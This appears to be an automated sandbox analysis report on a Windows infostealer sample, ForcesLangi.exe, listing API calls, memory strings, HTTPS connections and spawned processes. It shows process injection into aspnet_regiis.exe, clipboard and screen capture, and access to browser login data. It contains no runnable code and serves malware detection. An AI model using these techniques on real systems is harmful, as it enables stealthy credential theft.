Source: aspnet_regiis.exe, 00000002.00000003.1738326326.0000000004F22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: aspnet_regiis.exe, 00000002.00000003.1737561819.0000000004F39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737482318.0000000004F3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000002.00000003.1737762408.0000000004F39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: aspnet_regiis.exe, 00000002.00000003.1806743981.0000000005016000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: aspnet_regiis.exe, 00000002.00000003.1806743981.0000000005016000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: aspnet_regiis.exe, 00000002.00000003.1806743981.0000000005016000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: aspnet_regiis.exe, 00000002.00000003.1806743981.0000000005016000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: aspnet_regiis.exe, 00000002.00000003.1806743981.0000000005016000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: aspnet_regiis.exe, 00000002.00000003.1714513192.0000000002A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 92.122.104.90:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49739 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 2_2_00753E30 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

2_2_00753E30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 2_2_00753E30 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

2_2_00753E30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 2_2_007548C2 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

2_2_007548C2

System Summary

.NET source code contains very large array initializations

Source: ForcesLangi.exe, GetWin.cs

Large array initialization: GetWindowsOS: array initializer size 649728

Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE04270 WindowsHandle,GetConsoleWindow,ShowWindow,VirtualAlloc,CreateProcessW,NtGetContextThread,NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtReadVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtSetContextThread,NtResumeThread,CloseHandle,CloseHandle,GetConsoleWindow,ShowWindow,CreateProcessW,NtWriteVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtSetContextThread,NtResumeThread,NtGetContextThread,NtWriteVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,CloseHandle,NtCreateThreadEx,		0_2_6CE04270
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE02F70 GetModuleHandleW,NtQueryInformationProcess,		0_2_6CE02F70

Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CDFD160	0_2_6CDFD160
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE04270	0_2_6CE04270
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE02F70	0_2_6CE02F70
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE130E0	0_2_6CE130E0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE1D0C0	0_2_6CE1D0C0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE208C0	0_2_6CE208C0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE29CC0	0_2_6CE29CC0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE1E8D0	0_2_6CE1E8D0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE174D0	0_2_6CE174D0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE138D0	0_2_6CE138D0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CDFC480	0_2_6CDFC480
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE12060	0_2_6CE12060
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE17860	0_2_6CE17860
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE2C060	0_2_6CE2C060
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE23C50	0_2_6CE23C50
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE2B050	0_2_6CE2B050
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE12420	0_2_6CE12420
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CDF1010	0_2_6CDF1010
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE25430	0_2_6CE25430
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE18000	0_2_6CE18000
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE24C00	0_2_6CE24C00
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE0EDF0	0_2_6CE0EDF0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE1D5F0	0_2_6CE1D5F0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE2C9C0	0_2_6CE2C9C0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE269C0	0_2_6CE269C0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE12D80	0_2_6CE12D80
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE26580	0_2_6CE26580
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE11990	0_2_6CE11990
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE14D60	0_2_6CE14D60
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE1C970	0_2_6CE1C970
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE16970	0_2_6CE16970
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE16540	0_2_6CE16540
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE0C950	0_2_6CE0C950
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE22130	0_2_6CE22130
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE10900	0_2_6CE10900
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE29500	0_2_6CE29500
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE2D900	0_2_6CE2D900
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE27100	0_2_6CE27100
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE20D10	0_2_6CE20D10
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE28D10	0_2_6CE28D10
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE0F2E0	0_2_6CE0F2E0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE1FEE0	0_2_6CE1FEE0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE0DED0	0_2_6CE0DED0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE1A6D0	0_2_6CE1A6D0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE11260	0_2_6CE11260
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CDFCE50	0_2_6CDFCE50
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE15670	0_2_6CE15670
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE19A20	0_2_6CE19A20
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE2B620	0_2_6CE2B620
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE03E30	0_2_6CE03E30
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE15E30	0_2_6CE15E30
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE15210	0_2_6CE15210
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE00FC0	0_2_6CE00FC0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE193C0	0_2_6CE193C0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE2CFC0	0_2_6CE2CFC0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE1C3D0	0_2_6CE1C3D0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE1DBD0	0_2_6CE1DBD0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE1B7A0	0_2_6CE1B7A0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE0E7B0	0_2_6CE0E7B0
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE1E380	0_2_6CE1E380
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE1A390	0_2_6CE1A390
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE12760	0_2_6CE12760
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CDF7370	0_2_6CDF7370
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE27F20	0_2_6CE27F20
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE25B20	0_2_6CE25B20
Source: C:\Users\user\Desktop\ForcesLangi.exe	Code function: 0_2_6CE23720	0_2_6CE23720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0072B100	2_2_0072B100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00731227	2_2_00731227
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00759280	2_2_00759280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074D34A	2_2_0074D34A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00760460	2_2_00760460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00747440	2_2_00747440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00760D20	2_2_00760D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00741D00	2_2_00741D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075C5A0	2_2_0075C5A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00728600	2_2_00728600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00758EA0	2_2_00758EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0072E687	2_2_0072E687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007357C0	2_2_007357C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0072C840	2_2_0072C840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0072D83C	2_2_0072D83C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0072D021	2_2_0072D021
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0073D003	2_2_0073D003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0073B8F6	2_2_0073B8F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074C0E6	2_2_0074C0E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007360E9	2_2_007360E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007538D0	2_2_007538D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007238C0	2_2_007238C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074A0CA	2_2_0074A0CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007588B0	2_2_007588B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0073C8A0	2_2_0073C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074C09E	2_2_0074C09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00726160	2_2_00726160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0073E960	2_2_0073E960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074C09E	2_2_0074C09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00746910	2_2_00746910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00725900	2_2_00725900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007609E0	2_2_007609E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074C9EB	2_2_0074C9EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007481CC	2_2_007481CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007439B9	2_2_007439B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007491AE	2_2_007491AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074E180	2_2_0074E180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075F18B	2_2_0075F18B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00724270	2_2_00724270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075CA40	2_2_0075CA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075DA4D	2_2_0075DA4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00755A4F	2_2_00755A4F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0073E220	2_2_0073E220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075FA20	2_2_0075FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00739AD0	2_2_00739AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007442D0	2_2_007442D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00748ABC	2_2_00748ABC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00759A80	2_2_00759A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074F377	2_2_0074F377
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0072AB40	2_2_0072AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00741340	2_2_00741340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075FB28	2_2_0075FB28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075FB2A	2_2_0075FB2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00729310	2_2_00729310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075FB10	2_2_0075FB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007273D0	2_2_007273D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007483D8	2_2_007483D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0072F3C0	2_2_0072F3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00724BA0	2_2_00724BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0073EB80	2_2_0073EB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0073747D	2_2_0073747D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075A440	2_2_0075A440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00753C10	2_2_00753C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0072D4F3	2_2_0072D4F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00751CF0	2_2_00751CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007424E0	2_2_007424E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007404C6	2_2_007404C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00734CA0	2_2_00734CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075FD70	2_2_0075FD70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00744560	2_2_00744560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074CD5E	2_2_0074CD5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074CD4C	2_2_0074CD4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00759D30	2_2_00759D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074C53C	2_2_0074C53C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00731D2B	2_2_00731D2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00746D2E	2_2_00746D2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007265F0	2_2_007265F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075CDF0	2_2_0075CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075A5D4	2_2_0075A5D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00757DA9	2_2_00757DA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074FE74	2_2_0074FE74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0074EE63	2_2_0074EE63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00740E6C	2_2_00740E6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00742E6D	2_2_00742E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00758650	2_2_00758650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0073E630	2_2_0073E630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0073961B	2_2_0073961B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0075FE00	2_2_0075FE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0072F60D	2_2_0072F60D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007606F0	2_2_007606F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_007446D0	2_2_007446D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00722EB0	2_2_00722EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0073AEB0	2_2_0073AEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00736F52	2_2_00736F52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00732750	2_2_00732750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_0073DF50	2_2_0073DF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00747740	2_2_00747740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00749739	2_2_00749739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00745F1B	2_2_00745F1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 2_2_00729780	2_2_00729780

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: String function: 00727F60 appears 40 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: String function: 00734C90 appears 77 times

Source: ForcesLangi.exe, 00000000.00000000.1644466778.0000000000774000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameIsabellaHarveyViolet.exeyaRT vs ForcesLangi.exe
Source: ForcesLangi.exe, 00000000.00000002.1650307866.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs ForcesLangi.exe
Source: ForcesLangi.exe	Binary or memory string: OriginalFilenameIsabellaHarveyViolet.exeyaRT vs ForcesLangi.exe

Source: ForcesLangi.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/2@11/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 2_2_00759280 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_00759280

Source: C:\Users\user\Desktop\ForcesLangi.exe

File created: C:\Users\user\AppData\Roaming\gdi32.dll

Jump to behavior

Source: C:\Users\user\Desktop\ForcesLangi.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6564:120:WilError_03

Source: ForcesLangi.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: ForcesLangi.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\ForcesLangi.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: aspnet_regiis.exe, 00000002.00000003.1761526878.0000000004F08000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ForcesLangi.exe

ReversingLabs: Detection: 52%

Source: unknown	Process created: C:\Users\user\Desktop\ForcesLangi.exe "C:\Users\user\Desktop\ForcesLangi.exe"
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ForcesLangi.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
